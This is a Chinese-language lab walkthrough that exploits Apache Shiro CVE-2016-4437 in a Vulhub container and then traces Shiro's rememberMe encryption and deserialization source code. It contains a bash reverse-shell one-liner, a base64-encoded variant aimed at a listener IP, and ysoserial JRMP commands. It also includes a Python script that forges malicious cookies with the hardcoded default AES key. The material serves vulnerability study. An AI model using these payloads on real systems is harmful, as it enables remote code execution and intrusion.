## 1、安装docker
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
## 2、安装docker-compose
pip install docker-compose
## 3、gitvulhub镜像
git clone https://github.com/vulhub/vulhub.git
## 4、进入指定目录启动环境
cd vulhub/shiro/CVE-2016-4437
docker compose up
访问http://IP:8080
首先下载ysoserial工具
下载地址:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
使用java -jar ysoserial.jar查看是否可以正常使用
构造反弹shell命令
bash -i >& /dev/tcp/ip/port 0>&1
然后放到以下网站进行加密
https://r0yanx.com/tools/java_exec_encode/
然后使用工具ysoserial执行命令
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNDAvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}(刚刚网站加密后的命令)"
开始构造cookie
编写一个py脚本,内容如下
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))
这个文件得和ysoserial放在同一个文件夹下
然后运行文件
python shiro.py ip:刚刚ysoserial开放的端口(也就是9999)
报错了
解决方法
pip uninstall crypto pycryptodome (删除已有的pycryptodome)
pip install pycryptodome -i https://pypi.douban.com/simple
成功构造cookie
rememberMe=t9HEbOrmSVOcD/6189qiJXYkTBwG2N368YTO+D/YXj3ZFr++0IEulCjiJUNOzefkgljCQE5b8Qh2bHAFDe1R1QD54z8koOeyEIxPgwNCZa57e91QiNw1gD7gxIuA30uZYCK7lHRI82m3Mu/OYbHrKcN+PoYl3Hl0hwLVCppHutppWsorHsXJ2w5xJi5dXyTFs5xXEk8wMR0I3pGIcjHA9u8bBV/aUdaY7z7ucWcbB9m9hySu7JaDELX1hGF4Im5XHnRjBdAeRXJhd/yVaaCoAMSIToqPVlsV4Fa+w3priM6DrLfj9XZTqjZFyRPIgq0jMTBxNVH7traR+h9LQ1A82PZOcmgL2+P4ibcc4LW6FiBFKmr6UL2y764VD8qnFsB3NCanONnFN3GH6P0oBH+ZRA==
开始反弹shell
在登录页面勾选remember me,账号密码随便填,然后发送到repeater
在kali开启监听
将刚刚构造的cookie替换掉原来的cookie,然后点击发送
虽然没用反弹成功,但是ysoserial有回显
将目标url放入红框然后依次点击爆破密钥以及爆破利用链及回显即可利用
加密
解密
漏洞产生点在CookieRememberMeManager
该位置,来看到rememberSerializedIdentity
方法。
该方法的作用为使用Base64对指定的序列化字节数组进行编码,并将Base64编码的字符串设置为cookie值。
那么我们就去查看一下该方法在什么地方被调用。
在这可以看到该类继承的AbstractRememberMeManager
类调用了该方法。跟进进去查看
发现这个方法被rememberIdentity
方法给调用了,同样方式继续跟进。
在这里会发现rememberIdentity
方法会被onSuccessfulLogin
方法给调用,跟踪到这一步,就看到了onSuccessfulLogin
登录成功的方法。
当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin
方法,该方法主要实现了生成加密的RememberMe Cookie
,然后将RememberMe Cookie
设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity
方法里面去实现了。可以来看一下这段代码。
回到onSuccessfulLogin
这个地方,打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看。找到登录成功方法后,我们可以来正向去做个分析,不然刚刚的方式比较麻烦。
这里看到调用了isRememberMe
很显而易见得发现这个就是一个判断用户是否选择了Remember Me
选项。
如果选择Remember Me
功能的话返回true,如果不选择该选项则是调用log.debug方法在控制台输出一段字符。
这里如果为true的话就会调用rememberIdentity
方法并且传入三个参数。F7跟进该方法。
前面说过该方法会去生成一个PrincipalCollection
对象,里面包含登录信息。F7进行跟进rememberIdentity
方法。
查看convertPrincipalsToBytes
具体的实现与作用。
跟进该方法查看具体实现。
看到这里其实已经很清晰了,进行了一个序列化,然后返回序列化后的Byte数组。
再来看到下一段代码,这里如果getCipherService
方法不为空的话,就会去执行下一段代码。getCipherService
方法是获取加密模式。
还是继续跟进查看。
查看调用,会发现在构造方法里面对该值进行定义。
完成这一步后,就来到了这里。
调用encrypt
方法,对序列化后的数据进行处理。继续跟进。
这里调用cipherService.encrypt
方法并且传入序列化数据,和getEncryptionCipherKey
方法。
getEncryptionCipherKey
从名字上来看是获取密钥的方法,查看一下,是怎么获取密钥的。
查看调用的时候,发现setCipherKey
方法在构造方法里面被调用了。
查看DEFAULT_CIPHER_KEY_BYTES
值会发现里面定义了一串密钥
而这个密钥是定义死的。
返回刚刚的加密的地方。
这个地方选择跟进,查看具体实现。
查看到这里发现会传入前面序列化的数组和key值,最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。
iv的值由generateInitializationVector
方法生成,进行跟进。
查看getDefaultSecureRandom
方法实现。
返回generateInitializationVector
方法继续查看。这个new了一个byte数组长度为16
最后得到这个ivBytes值进行返回。
这里执行完成后就拿到了ivBytes的值了,这里再回到加密方法的地方查看具体加密的实现。
这里调用crypt方法进行获取到加密后的数据,而这个output是一个byte数组,大小是加密后数据的长度加上iv这个值的长度。
在执行完成后序列化的数据已经被进行了AES加密,返回一个byte数组。
执行完成后,来到这一步,然后进行跟进。
到了这里其实就没啥好说的了。后面的步骤就是进行base64加密后设置为用户的Cookie的rememberMe字段中。
由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt
进行加密,该类中也有对应的解密操作。那么在这里就可以来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点。
查看 getRememberedPrincipals
方法在此处下断点
跟踪
返回getRememberedPrincipals
方法。
在下面调用了convertBytesToPrincipals
方法,进行跟踪。
查看decrypt
方法具体实现。
和前面的加密步骤类似,这里不做详细讲解。
生成iv值,然后传入到他的重载方法里面。
到了这里执行完后,就进行了AES的解密完成。
还是回到这一步。
这里返回了deserialize
方法的返回值,并且传入AES加密后的数据。
进行跟踪该方法。
继续跟踪。
到了这步,就会对我们传入进来的AES解密后的数据进行调用readObject
方法进行反序列化操作
https://blog.csdn.net/m0_49490199/article/details/135752129
https://www.cnblogs.com/nice0e3/p/14183173.html#%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://blog.csdn.net/god_zzZ/article/details/108391075